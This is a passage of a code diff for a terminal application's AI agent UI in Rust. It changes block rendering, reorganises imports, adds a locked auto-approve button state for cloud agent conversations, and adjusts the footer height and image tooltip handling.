|
||||
.max(0.);
|
||||
contents.add_child(
|
||||
Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_child(Expanded::new(1., rendered_query).finish())
|
||||
.with_child(render_overflow_menu_button(
|
||||
self.state_handles.overflow_menu_handle.clone(),
|
||||
self.view_id,
|
||||
self.client_ids.client_exchange_id,
|
||||
self.client_ids.conversation_id,
|
||||
self.is_restored(),
|
||||
app,
|
||||
))
|
||||
.finish()
|
||||
.with_content_item_spacing()
|
||||
.with_margin_bottom(margin_bottom)
|
||||
.finish(),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(element) = elements_below_query {
|
||||
contents.add_child(element.with_agent_output_item_spacing(app).finish());
|
||||
}
|
||||
if let Some(element) = elements_below_query {
|
||||
contents.add_child(element.with_agent_output_item_spacing(app).finish());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1037,8 +1062,22 @@ impl View for AIBlock {
|
||||
let terminal_model = self.terminal_model.lock();
|
||||
let shared_session_status = terminal_model.shared_session_status().clone();
|
||||
let is_conversation_transcript_viewer = terminal_model.is_conversation_transcript_viewer();
|
||||
|
||||
let is_cloud_agent_pre_first_exchange = is_cloud_agent_pre_first_exchange(
|
||||
self.ambient_agent_view_model.as_ref(),
|
||||
&self.agent_view_controller,
|
||||
&terminal_model,
|
||||
app,
|
||||
);
|
||||
drop(terminal_model);
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
let is_cloud_agent_context = FeatureFlag::CloudMode.is_enabled()
|
||||
&& self
|
||||
.ambient_agent_view_model
|
||||
.as_ref()
|
||||
.is_some_and(|model| model.as_ref(app).is_ambient_agent());
|
||||
|
||||
contents.add_child(output::render(
|
||||
output::Props {
|
||||
model: self.model.as_ref(),
|
||||
@@ -1046,6 +1085,7 @@ impl View for AIBlock {
|
||||
action_buttons: &self.action_buttons,
|
||||
view_screenshot_buttons: &self.view_screenshot_buttons,
|
||||
action_model: &self.action_model,
|
||||
active_session: &self.active_session,
|
||||
editor_views: &self.code_editor_views,
|
||||
current_working_directory: self.current_working_directory.as_ref(),
|
||||
shell_launch_data: self.shell_launch_data.as_ref(),
|
||||
@@ -1091,10 +1131,13 @@ impl View for AIBlock {
|
||||
shared_session_status: &shared_session_status,
|
||||
terminal_view_id: self.terminal_view_id,
|
||||
is_conversation_transcript_viewer,
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
is_cloud_agent_context,
|
||||
aws_bedrock_credentials_error_view: self
|
||||
.aws_bedrock_credentials_error_view
|
||||
.as_ref(),
|
||||
imported_comments: &self.imported_comments,
|
||||
run_agents_card_views: &self.run_agents_card_views,
|
||||
#[cfg(feature = "local_fs")]
|
||||
resolved_code_block_paths: &self.resolved_code_block_paths,
|
||||
#[cfg(feature = "local_fs")]
|
||||
@@ -1102,9 +1145,10 @@ impl View for AIBlock {
|
||||
thinking_display_mode: AISettings::as_ref(app).thinking_display_mode,
|
||||
conversation_has_imported_comments: self
|
||||
.model
|
||||
.is_latest_non_passive_exchange_in_root_task(app)
|
||||
.is_latest_visible_exchange_in_root_task(app)
|
||||
&& self.has_imported_comments_in_current_thread(app),
|
||||
ask_user_question_view: self.ask_user_question_view.as_ref(),
|
||||
is_cloud_agent_pre_first_exchange,
|
||||
},
|
||||
app,
|
||||
));
|
||||
@@ -1182,10 +1226,9 @@ impl View for AIBlock {
|
||||
false
|
||||
}
|
||||
});
|
||||
let should_add_top_padding = !should_hide_first_block_query_and_header
|
||||
&& (contains_user_query_and_is_not_pin_to_top
|
||||
|| renders_below_requested_command_view
|
||||
|| (!is_previous_blocklist_item_ai_block && !self.is_passive_conversation(app)));
|
||||
let should_add_top_padding = contains_user_query_and_is_not_pin_to_top
|
||||
|| renders_below_requested_command_view
|
||||
|| (!is_previous_blocklist_item_ai_block && !self.is_passive_conversation(app));
|
||||
|
||||
if should_add_top_padding {
|
||||
content = content.with_padding_top(CONTENT_VERTICAL_PADDING);
|
||||
@@ -1197,8 +1240,11 @@ impl View for AIBlock {
|
||||
|
||||
let mut selectable = SelectableArea::new(
|
||||
self.state_handles.selection_handle.clone(),
|
||||
move |selection_args, _, _| {
|
||||
*selected_text.write() = selection_args.selection;
|
||||
move |selection_args, ctx, _| {
|
||||
*selected_text.write() = selection_args
|
||||
.selection
|
||||
.filter(|selection| !selection.is_empty());
|
||||
ctx.dispatch_typed_action(AIBlockAction::SelectText);
|
||||
},
|
||||
SavePosition::new(content.finish(), self.saved_position_id().as_str()).finish(),
|
||||
)
|
||||
@@ -1343,7 +1389,8 @@ impl AIAgentInput {
|
||||
| AIAgentInput::ActionResult { .. }
|
||||
| AIAgentInput::MessagesReceivedFromAgents { .. }
|
||||
| AIAgentInput::EventsFromAgents { .. }
|
||||
| AIAgentInput::PassiveSuggestionResult { .. } => None,
|
||||
| AIAgentInput::PassiveSuggestionResult { .. }
|
||||
| AIAgentInput::OrchestrationConfigUpdate { .. } => None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,3 @@
|
||||
use crate::ai::agent::comment::ReviewComment;
|
||||
use crate::ai::agent::icons::addressed_comment_icon;
|
||||
use crate::ai::blocklist::block::CommentElementState;
|
||||
use crate::code_review::comments::ReviewCommentBatch;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::theme::color::internal_colors;
|
||||
use galaxy_core::ui::Icon;
|
||||
@@ -11,6 +7,11 @@ use galaxyui::elements::{
|
||||
};
|
||||
use galaxyui::{AppContext, Element, SingletonEntity};
|
||||
|
||||
use crate::ai::agent::comment::ReviewComment;
|
||||
use crate::ai::agent::icons::addressed_comment_icon;
|
||||
use crate::ai::blocklist::block::CommentElementState;
|
||||
use crate::code_review::comments::ReviewCommentBatch;
|
||||
|
||||
const COMMENT_CHIP_MAX_HEIGHT: f32 = 200.;
|
||||
|
||||
/// Displays a series of chips for the "Address Comments" input type.
|
||||
|
||||
@@ -10,116 +10,95 @@ use std::iter;
|
||||
use std::path::Path;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
|
||||
use galaxy_core::{
|
||||
features::FeatureFlag,
|
||||
ui::{appearance::Appearance, color::blend::Blend, theme::color::internal_colors},
|
||||
};
|
||||
use galaxyui::{
|
||||
assets::asset_cache::{AssetCache, AssetSource, AssetState},
|
||||
elements::{
|
||||
new_scrollable::{ScrollableAppearance, SingleAxisConfig},
|
||||
Align, Axis, Border, ChildAnchor, ChildView, ClippedScrollStateHandle, ConstrainedBox,
|
||||
Container, CornerRadius, CrossAxisAlignment, DispatchEventResult, Empty, EventHandler,
|
||||
Expanded, Fill, Flex, FormattedTextElement, HeadingFontSizeMultipliers, Hoverable,
|
||||
Image as WarpImage, MainAxisAlignment, MainAxisSize, MouseStateHandle, NewScrollable,
|
||||
OffsetPositioning, ParentAnchor, ParentElement, ParentOffsetBounds, Radius, SavePosition,
|
||||
ScrollTarget, ScrollToPositionMode, ScrollbarWidth, Shrinkable, Stack, Table,
|
||||
TableColumnWidth, TableConfig, TableHeader, TableVerticalSizing, Text, Wrap,
|
||||
},
|
||||
fonts::{Properties, Weight},
|
||||
image_cache::{CacheOption, ImageType},
|
||||
keymap::Keystroke,
|
||||
platform::Cursor,
|
||||
text_layout::{ClipConfig, TextAlignment, TextStyle},
|
||||
ui_components::{
|
||||
button::Button,
|
||||
components::{Coords, UiComponent, UiComponentStyles},
|
||||
},
|
||||
Action, AppContext, Element, EventContext, SingletonEntity, View, ViewHandle,
|
||||
};
|
||||
use itertools::Itertools;
|
||||
use markdown_parser::{FormattedText, FormattedTextInline, TableAlignment};
|
||||
use pathfinder_color::ColorU;
|
||||
use pathfinder_geometry::vector::vec2f;
|
||||
use std::sync::Arc;
|
||||
|
||||
use super::{add_highlights_to_rich_text, add_highlights_to_text, output::LinkActionConstructors};
|
||||
use crate::ai::agent::MessageId;
|
||||
use crate::terminal::find::BlockListMatch;
|
||||
use crate::terminal::grid_renderer::{FOCUSED_MATCH_COLOR, MATCH_COLOR};
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{conversation::AIConversation, icons, ShellCommandDelay},
|
||||
blocklist::{
|
||||
block::status_bar::BlocklistAIStatusBarAction, history_model::BlocklistAIHistoryModel,
|
||||
BlocklistAIActionModel, ShellCommandExecutor,
|
||||
},
|
||||
loading::shimmering_warp_loading_text,
|
||||
},
|
||||
terminal::{self, TerminalModel},
|
||||
util::link_detection::{add_link_detection_mouse_interactions, DetectedLinksState},
|
||||
workspaces::{user_workspaces::UserWorkspaces, workspace::CustomerType},
|
||||
};
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
icons::red_stop_icon, AIAgentAction, AIAgentActionType, AIAgentInput,
|
||||
AIAgentOutputMessageType, AIAgentTextSection, AgentOutputImage, AgentOutputImageLayout,
|
||||
AgentOutputMermaidDiagram, AgentOutputTable, AgentOutputTableRendering,
|
||||
ProgrammingLanguage, RenderableAIError, SummarizationType, WebSearchStatus,
|
||||
},
|
||||
blocklist::{
|
||||
block::{
|
||||
find::FindState, view_impl::CONTENT_HORIZONTAL_PADDING, AIBlockAction,
|
||||
CollapsibleElementState, CollapsibleExpansionState, EmbeddedCodeEditorView,
|
||||
TableSectionHandles,
|
||||
},
|
||||
code_block::{
|
||||
render_code_block_plain, render_code_block_with_warp_text, CodeBlockOptions,
|
||||
CodeSnippetButtonHandles,
|
||||
},
|
||||
inline_action::{
|
||||
aws_bedrock_credentials_error::AwsBedrockCredentialsErrorView,
|
||||
inline_action_header::{
|
||||
INLINE_ACTION_HEADER_VERTICAL_PADDING, INLINE_ACTION_HORIZONTAL_PADDING,
|
||||
},
|
||||
inline_action_icons::{self, icon_size},
|
||||
requested_action::RenderableAction,
|
||||
},
|
||||
model::{AIBlockModel, AIBlockModelHelper},
|
||||
secret_redaction::{redact_secrets_in_element, SecretRedactionState},
|
||||
view_util::error_color,
|
||||
TextLocation,
|
||||
},
|
||||
AIRequestUsageModel,
|
||||
},
|
||||
code::{editor::view::CodeEditorView, editor_management::CodeSource},
|
||||
notebooks::editor::{markdown_table_appearance, rich_text_styles},
|
||||
settings_view::SettingsSection,
|
||||
terminal::{
|
||||
find::TerminalFindModel, safe_mode_settings::get_secret_obfuscation_mode,
|
||||
view::TerminalAction, ShellLaunchData,
|
||||
},
|
||||
ui_components::{
|
||||
avatar::{Avatar, AvatarContent},
|
||||
blended_colors,
|
||||
buttons::icon_button,
|
||||
icons::Icon,
|
||||
},
|
||||
workspace::WorkspaceAction,
|
||||
};
|
||||
use crate::{
|
||||
search::slash_command_menu::static_commands::commands,
|
||||
settings::{FontSettings, InputSettings},
|
||||
};
|
||||
use galaxy_core::channel::ChannelState;
|
||||
use galaxy_editor::content::{
|
||||
edit::resolve_asset_source_relative_to_directory, mermaid_diagram::mermaid_asset_source,
|
||||
};
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::color::blend::Blend;
|
||||
use galaxy_core::ui::theme::color::internal_colors;
|
||||
use galaxy_editor::content::edit::resolve_asset_source_relative_to_directory;
|
||||
use galaxy_editor::content::mermaid_diagram::mermaid_asset_source;
|
||||
use galaxy_util::path::to_relative_path;
|
||||
use galaxyui::assets::asset_cache::{AssetCache, AssetSource, AssetState};
|
||||
use galaxyui::elements::new_scrollable::{ScrollableAppearance, SingleAxisConfig};
|
||||
use galaxyui::elements::shimmering_text::ShimmeringTextStateHandle;
|
||||
use galaxyui::elements::{Highlight, HighlightedRange};
|
||||
use galaxyui::elements::{
|
||||
Align, Axis, Border, ChildAnchor, ChildView, Clipped, ClippedScrollStateHandle, ConstrainedBox,
|
||||
Container, CornerRadius, CrossAxisAlignment, DispatchEventResult, Empty, EventHandler,
|
||||
Expanded, Fill, Flex, FormattedTextElement, HeadingFontSizeMultipliers, Highlight,
|
||||
HighlightedRange, Hoverable, Image as WarpImage, MainAxisAlignment, MainAxisSize,
|
||||
MouseStateHandle, NewScrollable, OffsetPositioning, ParentAnchor, ParentElement,
|
||||
ParentOffsetBounds, Radius, SavePosition, ScrollTarget, ScrollToPositionMode, ScrollbarWidth,
|
||||
Shrinkable, Stack, Table, TableColumnWidth, TableConfig, TableHeader, TableVerticalSizing,
|
||||
Text, Wrap,
|
||||
};
|
||||
use galaxyui::fonts::{Properties, Weight};
|
||||
use galaxyui::image_cache::{CacheOption, ImageType};
|
||||
use galaxyui::keymap::Keystroke;
|
||||
use galaxyui::platform::Cursor;
|
||||
use galaxyui::text_layout::{ClipConfig, TextAlignment, TextStyle};
|
||||
use galaxyui::ui_components::button::Button;
|
||||
use galaxyui::ui_components::components::{Coords, UiComponent, UiComponentStyles};
|
||||
use galaxyui::{Action, AppContext, Element, EventContext, SingletonEntity, View, ViewHandle};
|
||||
|
||||
use super::output::LinkActionConstructors;
|
||||
use super::{add_highlights_to_rich_text, add_highlights_to_text};
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
use crate::ai::agent::icons::red_stop_icon;
|
||||
use crate::ai::agent::{
|
||||
icons, AIAgentAction, AIAgentActionType, AIAgentInput, AIAgentOutputMessageType,
|
||||
AIAgentTextSection, AgentOutputImage, AgentOutputImageLayout, AgentOutputMermaidDiagram,
|
||||
AgentOutputTable, AgentOutputTableRendering, MessageId, ProgrammingLanguage, RenderableAIError,
|
||||
ShellCommandDelay, SummarizationType, UserQueryMode, WebSearchStatus,
|
||||
};
|
||||
use crate::ai::blocklist::block::find::FindState;
|
||||
use crate::ai::blocklist::block::status_bar::BlocklistAIStatusBarAction;
|
||||
use crate::ai::blocklist::block::view_impl::CONTENT_HORIZONTAL_PADDING;
|
||||
use crate::ai::blocklist::block::{
|
||||
AIBlockAction, CollapsibleElementState, CollapsibleExpansionState, EmbeddedCodeEditorView,
|
||||
TableSectionHandles,
|
||||
};
|
||||
use crate::ai::blocklist::code_block::{
|
||||
render_code_block_plain, render_code_block_with_warp_text, CodeBlockOptions,
|
||||
CodeSnippetButtonHandles,
|
||||
};
|
||||
use crate::ai::blocklist::history_model::BlocklistAIHistoryModel;
|
||||
use crate::ai::blocklist::inline_action::aws_bedrock_credentials_error::AwsBedrockCredentialsErrorView;
|
||||
use crate::ai::blocklist::inline_action::inline_action_header::{
|
||||
INLINE_ACTION_HEADER_VERTICAL_PADDING, INLINE_ACTION_HORIZONTAL_PADDING,
|
||||
};
|
||||
use crate::ai::blocklist::inline_action::inline_action_icons::{self, icon_size};
|
||||
use crate::ai::blocklist::inline_action::requested_action::RenderableAction;
|
||||
use crate::ai::blocklist::model::{AIBlockModel, AIBlockModelHelper};
|
||||
use crate::ai::blocklist::secret_redaction::{redact_secrets_in_element, SecretRedactionState};
|
||||
use crate::ai::blocklist::view_util::error_color;
|
||||
use crate::ai::blocklist::{BlocklistAIActionModel, ShellCommandExecutor, TextLocation};
|
||||
use crate::ai::loading::shimmering_warp_loading_text;
|
||||
use crate::ai::AIRequestUsageModel;
|
||||
use crate::code::editor::view::CodeEditorView;
|
||||
use crate::code::editor_management::CodeSource;
|
||||
use crate::notebooks::editor::{markdown_table_appearance, rich_text_styles};
|
||||
use crate::search::slash_command_menu::static_commands::commands;
|
||||
use crate::settings::{FontSettings, InputSettings};
|
||||
use crate::settings_view::SettingsSection;
|
||||
use crate::terminal::find::TerminalFindModel;
|
||||
use crate::terminal::grid_renderer::{FOCUSED_MATCH_COLOR, MATCH_COLOR};
|
||||
use crate::terminal::safe_mode_settings::get_secret_obfuscation_mode;
|
||||
use crate::terminal::view::TerminalAction;
|
||||
use crate::terminal::{self, ShellLaunchData, TerminalModel};
|
||||
use crate::ui_components::avatar::{Avatar, AvatarContent};
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::buttons::icon_button;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::util::link_detection::{add_link_detection_mouse_interactions, DetectedLinksState};
|
||||
use crate::workspace::WorkspaceAction;
|
||||
use crate::workspaces::user_workspaces::UserWorkspaces;
|
||||
use crate::workspaces::workspace::CustomerType;
|
||||
|
||||
pub const STATUS_ICON_SIZE_DELTA: f32 = 4.;
|
||||
pub const STATUS_FOOTER_VERTICAL_PADDING: f32 = 4.;
|
||||
@@ -209,6 +188,7 @@ pub const BLOCKED_ACTION_MESSAGE_FOR_GREP_OR_FILE_GLOB: &str =
|
||||
"OK if I search the files in this directory?";
|
||||
|
||||
const BLOCKLIST_VISUAL_SECTION_HEIGHT_LINE_MULTIPLIER: f32 = 10.0;
|
||||
const BLOCKLIST_MERMAID_MAX_HEIGHT_LINE_MULTIPLIER: f32 = 40.0;
|
||||
const INLINE_IMAGE_HEIGHT: f32 = 164.;
|
||||
const INLINE_IMAGE_MAX_WIDTH: f32 = 218.;
|
||||
const INLINE_IMAGE_SPACING: f32 = 32.;
|
||||
@@ -227,7 +207,7 @@ pub struct WarpingProps<'a, V> {
|
||||
pub summarization_start_time: Option<instant::Instant>,
|
||||
pub hide_responses_button: Option<(ButtonProps<'a>, bool)>,
|
||||
pub take_over_lrc_control_button: Option<ButtonProps<'a>>,
|
||||
pub auto_execute_button: Option<ButtonProps<'a>>,
|
||||
pub auto_execute_button: Option<AutoExecuteButtonProps<'a>>,
|
||||
pub queue_next_prompt_button: Option<ButtonProps<'a>>,
|
||||
pub stop_button: Option<ButtonProps<'a>>,
|
||||
/// Inline `Check now` affordance displayed alongside `Last seen by agent ...`
|
||||
@@ -250,6 +230,18 @@ pub struct ButtonProps<'a> {
|
||||
pub is_active: bool,
|
||||
}
|
||||
|
||||
/// Props for the auto-approve / fast-forward button in the warping indicator.
|
||||
///
|
||||
/// When `is_locked` is set, the button is rendered in its always-on state and
|
||||
/// the click handler (plus the action dispatched by the keybinding) are no-ops.
|
||||
/// Used for ambient agent conversations where fast-forward is always conceptually on.
|
||||
pub struct AutoExecuteButtonProps<'a> {
|
||||
pub button_handle: &'a MouseStateHandle,
|
||||
pub keystroke: Option<&'a Keystroke>,
|
||||
pub is_active: bool,
|
||||
pub is_locked: bool,
|
||||
}
|
||||
|
||||
pub struct ForceRefreshButtonProps<'a> {
|
||||
pub button_handle: &'a MouseStateHandle,
|
||||
/// The block the force-refresh should target.
|
||||
@@ -590,6 +582,23 @@ pub struct WarpingIndicatorProps {
|
||||
pub secondary_element: Option<Box<dyn Element>>,
|
||||
}
|
||||
|
||||
/// Computes the fixed height of the warping-indicator footer.
|
||||
///
|
||||
/// The warping text occupies a single line. When a secondary element (an agent
|
||||
/// tip or fallback-model explanation) is present, it renders on a second line
|
||||
/// below the warping text, so the footer must reserve room for that extra line;
|
||||
/// otherwise the `Clipped` wrapper — which keeps action chips from overflowing
|
||||
/// narrow panes — also clips the secondary line. The extra line accounts for the
|
||||
/// secondary element's font size (`monospace_font_size - 3`, see
|
||||
/// `render_agent_tip` / `render_fallback_explanation`) plus its 1px top margin.
|
||||
fn warping_footer_height(monospace_font_size: f32, has_secondary_element: bool) -> f32 {
|
||||
let mut height = STATUS_FOOTER_VERTICAL_PADDING * 2. + monospace_font_size;
|
||||
if has_secondary_element {
|
||||
height += (monospace_font_size - 3.) + 1.;
|
||||
}
|
||||
height
|
||||
}
|
||||
|
||||
/// Helper function to render text in the "warping..." footer.
|
||||
/// Additional text that does not use the shimmering text animation can be passed in via
|
||||
/// `non_shimmering_text` which is useful if you want some part of the text to constantly update
|
||||
@@ -607,6 +616,10 @@ pub fn render_warping_indicator_base(
|
||||
is_passive_code_diff,
|
||||
secondary_element,
|
||||
} = props;
|
||||
// Whether a secondary element (an agent tip or fallback-model explanation)
|
||||
// will be rendered on a second line below the warping text. Captured before
|
||||
// `secondary_element` is consumed so the container can reserve room for it.
|
||||
let has_secondary_element = secondary_element.is_some();
|
||||
// Unicode code point for the Warp glyph that is embedded in the version of Roboto we bundle
|
||||
// into the app. This code point MUST be rendered using Roboto (the default ui font) or else the
|
||||
// glyph may not be rendered.
|
||||
@@ -621,19 +634,6 @@ pub fn render_warping_indicator_base(
|
||||
|
||||
let text = render_output_status_text(warping_indicator_text, appearance, app);
|
||||
|
||||
let mut row = Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_spacing(6.);
|
||||
|
||||
if let Some(icon) = icon {
|
||||
row = row.with_child(
|
||||
ConstrainedBox::new(icon)
|
||||
.with_width(icon_size(app) - STATUS_ICON_SIZE_DELTA)
|
||||
.with_height(icon_size(app) - STATUS_ICON_SIZE_DELTA)
|
||||
.finish(),
|
||||
);
|
||||
}
|
||||
|
||||
let text_content = {
|
||||
let mut row = Flex::row().with_child(Shrinkable::new(1., text).finish());
|
||||
|
||||
@@ -692,14 +692,29 @@ pub fn render_warping_indicator_base(
|
||||
);
|
||||
}
|
||||
|
||||
let mut row = Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Start)
|
||||
.with_spacing(6.);
|
||||
|
||||
if let Some(icon) = icon {
|
||||
row = row.with_child(
|
||||
ConstrainedBox::new(icon)
|
||||
.with_width(icon_size(app) - STATUS_ICON_SIZE_DELTA)
|
||||
.with_height(icon_size(app) - STATUS_ICON_SIZE_DELTA)
|
||||
.finish(),
|
||||
);
|
||||
}
|
||||
|
||||
row = row.with_child(Expanded::new(1., text_col.finish()).finish());
|
||||
|
||||
if let Some(buttons) = buttons {
|
||||
row = row.with_child(buttons);
|
||||
}
|
||||
|
||||
let content = Clipped::new(row.finish()).finish();
|
||||
|
||||
if is_passive_code_diff {
|
||||
Container::new(row.finish())
|
||||
Container::new(content)
|
||||
// Use custom padding for the passive code diff block
|
||||
.with_padding_top(8.)
|
||||
.with_padding_bottom(4.)
|
||||
@@ -707,8 +722,11 @@ pub fn render_warping_indicator_base(
|
||||
.finish()
|
||||
} else {
|
||||
let mut container = Container::new(
|
||||
ConstrainedBox::new(row.finish())
|
||||
.with_height(STATUS_FOOTER_VERTICAL_PADDING * 2. + appearance.monospace_font_size())
|
||||
ConstrainedBox::new(content)
|
||||
.with_height(warping_footer_height(
|
||||
appearance.monospace_font_size(),
|
||||
has_secondary_element,
|
||||
))
|
||||
.finish(),
|
||||
)
|
||||
.with_padding_right(CONTENT_HORIZONTAL_PADDING);
|
||||
@@ -857,6 +875,7 @@ fn render_hide_responses_button(
|
||||
props.keystroke,
|
||||
tooltip_text.to_string(),
|
||||
props.is_active,
|
||||
false,
|
||||
|ctx| {
|
||||
ctx.dispatch_typed_action(BlocklistAIStatusBarAction::ToggleHideResponses);
|
||||
},
|
||||
@@ -888,6 +907,7 @@ pub fn render_switch_control_to_user_button(
|
||||
props.keystroke,
|
||||
tooltip.to_string(),
|
||||
props.is_active,
|
||||
false,
|
||||
|ctx| {
|
||||
ctx.dispatch_typed_action(TerminalAction::SetInputModeTerminal);
|
||||
},
|
||||
@@ -911,6 +931,7 @@ fn render_stop_button(props: ButtonProps, appearance: &Appearance) -> Box<dyn El
|
||||
props.keystroke,
|
||||
"Stop agent task".to_string(),
|
||||
props.is_active,
|
||||
false,
|
||||
|ctx: &mut EventContext<'_>| {
|
||||
ctx.dispatch_typed_action(BlocklistAIStatusBarAction::Stop);
|
||||
},
|
||||
@@ -948,14 +969,21 @@ fn render_queue_next_prompt_button(
|
||||
props.keystroke,
|
||||
tooltip_text.to_string(),
|
||||
props.is_active,
|
||||
false,
|
||||
|ctx| {
|
||||
ctx.dispatch_typed_action(TerminalAction::ToggleQueueNextPrompt);
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
fn render_auto_approve_button(props: ButtonProps, appearance: &Appearance) -> Box<dyn Element> {
|
||||
let icon = if props.is_active {
|
||||
fn render_auto_approve_button(
|
||||
props: AutoExecuteButtonProps,
|
||||
appearance: &Appearance,
|
||||
) -> Box<dyn Element> {
|
||||
// In locked mode (ambient/cloud agent conversations), the button is always
|
||||
// rendered in its "on" state regardless of the underlying conversation state.
|
||||
let is_active = props.is_active || props.is_locked;
|
||||
let icon = if is_active {
|
||||
Icon::FastForwardFilled
|
||||
} else {
|
||||
Icon::FastForward
|
||||
@@ -972,7 +1000,9 @@ fn render_auto_approve_button(props: ButtonProps, appearance: &Appearance) -> Bo
|
||||
)
|
||||
.finish();
|
||||
|
||||
let tooltip_text = if props.is_active {
|
||||
let tooltip_text = if props.is_locked {
|
||||
"Fast forward is always enabled for cloud agent conversations"
|
||||
} else if is_active {
|
||||
"Turn off auto-approve all agent actions"
|
||||
} else {
|
||||
"Auto-approve all agent actions for this task"
|
||||
@@ -984,8 +1014,12 @@ fn render_auto_approve_button(props: ButtonProps, appearance: &Appearance) -> Bo
|
||||
icon,
|
||||
props.keystroke,
|
||||
tooltip_text.to_string(),
|
||||
props.is_active,
|
||||
|ctx| {
|
||||
is_active,
|
||||
props.is_locked,
|
||||
move |ctx| {
|
||||
if props.is_locked {
|
||||
return;
|
||||
}
|
||||
ctx.dispatch_typed_action(TerminalAction::ToggleAutoexecuteMode);
|
||||
},
|
||||
)
|
||||
@@ -1063,6 +1097,7 @@ fn render_force_refresh_inline(
|
||||
.finish()
|
||||
}
|
||||
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn render_warping_indicator_button<F>(
|
||||
mouse_state: MouseStateHandle,
|
||||
appearance: &Appearance,
|
||||
@@ -1070,6 +1105,7 @@ fn render_warping_indicator_button<F>(
|
||||
keybinding: Option<&Keystroke>,
|
||||
tooltip: String,
|
||||
is_active: bool,
|
||||
is_disabled: bool,
|
||||
mut on_click: F,
|
||||
) -> Box<dyn Element>
|
||||
where
|
||||
@@ -1116,6 +1152,12 @@ where
|
||||
UiComponentStyles::default().set_background(internal_colors::fg_overlay_3(theme).into()),
|
||||
);
|
||||
|
||||
let cursor = if is_disabled {
|
||||
Cursor::Arrow
|
||||
} else {
|
||||
Cursor::PointingHand
|
||||
};
|
||||
|
||||
let mut button = Button::new(
|
||||
mouse_state,
|
||||
styles,
|
||||
@@ -1125,7 +1167,7 @@ where
|
||||
)
|
||||
.with_custom_label(button_content)
|
||||
.with_tooltip(move || ui_builder.tool_tip(tooltip.clone()).build().finish())
|
||||
.with_cursor(Some(Cursor::PointingHand));
|
||||
.with_cursor(Some(cursor));
|
||||
|
||||
if is_active {
|
||||
button = button.active();
|
||||
@@ -1207,11 +1249,11 @@ pub fn render_text_sections<V: View, A: Action>(
|
||||
// Carve off a subslice of the pre-allocated handles for just
|
||||
// this group, and advance the counter so subsequent image
|
||||
// sections pick up handles from later in the slice.
|
||||
let handle_start = *props.starting_image_section_index;
|
||||
let handle_end = (handle_start + image_group.images.len())
|
||||
.min(props.image_section_tooltip_handles.len());
|
||||
let handles_for_group =
|
||||
&props.image_section_tooltip_handles[handle_start..handle_end];
|
||||
let handles_for_group = image_tooltip_handles_for_group(
|
||||
props.image_section_tooltip_handles,
|
||||
*props.starting_image_section_index,
|
||||
image_group.images.len(),
|
||||
);
|
||||
*props.starting_image_section_index += image_group.images.len();
|
||||
let render_context = ImageRenderContext {
|
||||
detected_links: props.detected_links,
|
||||
@@ -1313,6 +1355,7 @@ pub fn render_text_sections<V: View, A: Action>(
|
||||
working_directory: props.current_working_directory,
|
||||
open_code_block_action_factory: props.open_code_block_action_factory,
|
||||
copy_code_action_factory: props.copy_code_action_factory,
|
||||
selectable: props.selectable,
|
||||
#[cfg(feature = "local_fs")]
|
||||
resolved_code_block_paths: props.resolved_code_block_paths,
|
||||
},
|
||||
@@ -1386,6 +1429,17 @@ fn text_sections_with_indices(
|
||||
.map(move |(offset, section)| (starting_text_section_index + offset, section))
|
||||
}
|
||||
|
||||
fn image_tooltip_handles_for_group(
|
||||
tooltip_handles: &[MouseStateHandle],
|
||||
starting_image_section_index: usize,
|
||||
image_group_len: usize,
|
||||
) -> &[MouseStateHandle] {
|
||||
let available_handles = tooltip_handles
|
||||
.get(starting_image_section_index..)
|
||||
.unwrap_or(&[]);
|
||||
&available_handles[..available_handles.len().min(image_group_len)]
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
struct IndexedImageSection<'a> {
|
||||
section_index: usize,
|
||||
@@ -1798,12 +1852,26 @@ enum VisualMarkdownAlignment {
|
||||
Center,
|
||||
}
|
||||
|
||||
/// How a visual markdown block (image or mermaid diagram) is sized.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum VisualMarkdownSizing {
|
||||
/// Fixed element height. Width is fixed when `width` is set, otherwise
|
||||
/// bounded by `max_width`, otherwise falls back to a square of `height`.
|
||||
FixedHeight {
|
||||
height: f32,
|
||||
width: Option<f32>,
|
||||
max_width: Option<f32>,
|
||||
},
|
||||
/// Fill the available width, deriving the element height from the
|
||||
/// image's intrinsic aspect ratio, capped at `max_height`. When the cap
|
||||
/// applies, the width shrinks proportionally instead of letterboxing.
|
||||
FitWidth { max_height: f32 },
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct VisualMarkdownBlockOptions<A: 'static> {
|
||||
height: f32,
|
||||
width: Option<f32>,
|
||||
sizing: VisualMarkdownSizing,
|
||||
copy_action_factory: Option<CopyCodeActionFactory<A>>,
|
||||
max_width: Option<f32>,
|
||||
alignment: VisualMarkdownAlignment,
|
||||
lightbox_trigger: Option<VisualMarkdownLightboxTrigger>,
|
||||
/// When `Some(non_empty)`, the rendered image is wrapped in the standard
|
||||
@@ -1879,6 +1947,9 @@ fn load_renderable_image_asset(
|
||||
|
||||
#[cfg(not(feature = "local_fs"))]
|
||||
let asset_source = blocklist_image_asset_source(&image.source, current_working_directory)?;
|
||||
if !should_load_blocklist_image_asset(&asset_source) {
|
||||
return None;
|
||||
}
|
||||
let asset_state = AssetCache::as_ref(app).load_asset::<ImageType>(asset_source.clone());
|
||||
if matches!(asset_state, AssetState::FailedToLoad(_)) {
